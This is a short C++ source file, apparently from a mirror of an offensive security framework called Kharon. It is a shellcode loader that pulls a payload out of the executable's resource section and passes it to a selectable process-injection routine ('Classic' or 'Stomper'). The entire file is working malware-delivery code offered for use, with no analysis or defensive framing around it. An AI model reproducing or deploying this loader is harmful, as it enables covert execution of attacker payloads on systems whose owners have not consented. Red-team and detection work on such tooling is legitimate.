mirror of
https://github.com/entropy-z/Kharon
synced 2026-06-06 15:34:34 +00:00
58 lines
1.4 KiB
C++
58 lines
1.4 KiB
C++
#include <Kharon.h>
|
|
|
|
auto Injection::Main() -> VOID {
|
|
#if INJECTION_TECHNIQUE == INJECTION_TECHNIQUE_CLASSIC
|
|
return Injection::Classic();
|
|
#elif INJECTION_TECHNIQUE == INJECTION_TECHNIQUE_STOMPER
|
|
return Injection::Stomper();
|
|
#endif
|
|
}
|
|
|
|
#if SHELLCODE_SECTION_LOCATION == SHELLCODE_SECTION_RSRC
|
|
|
|
#ifndef RSRC_ID
|
|
#define RSRC_ID 101
|
|
#endif
|
|
|
|
namespace Shellcode {
|
|
uint8_t* Data = nullptr;
|
|
size_t Size = 0;
|
|
|
|
static BOOL Load() {
|
|
DbgPrint("RSRC_ID: %d\n", RSRC_ID);
|
|
|
|
HRSRC hRes = FindResourceW(NULL, MAKEINTRESOURCEW(RSRC_ID), MAKEINTRESOURCEW(10));
|
|
if (!hRes) {
|
|
DbgPrint("FindResourceW failed: (%d)\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
HGLOBAL hLoad = LoadResource(NULL, hRes);
|
|
if (!hLoad) {
|
|
DbgPrint("LoadResource failed: (%d)\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
Data = (uint8_t*)LockResource(hLoad);
|
|
Size = (size_t)SizeofResource(NULL, hRes);
|
|
|
|
DbgPrint("Shellcode loaded — Data: 0x%p Size: %llu\n", Data, Size);
|
|
return Data != nullptr && Size > 0;
|
|
}
|
|
}
|
|
|
|
auto EntryLoader( VOID ) -> VOID {
|
|
if (!Shellcode::Load()) {
|
|
DbgPrint("Failed to load shellcode from .rsrc\n");
|
|
return;
|
|
}
|
|
Injection::Main();
|
|
}
|
|
|
|
#elif SHELLCODE_SECTION_LOCATION == SHELLCODE_SECTION_OTHER
|
|
|
|
auto EntryLoader( VOID ) -> VOID {
|
|
Injection::Main();
|
|
}
|
|
|
|
#endif // SHELLCODE_SECTION
|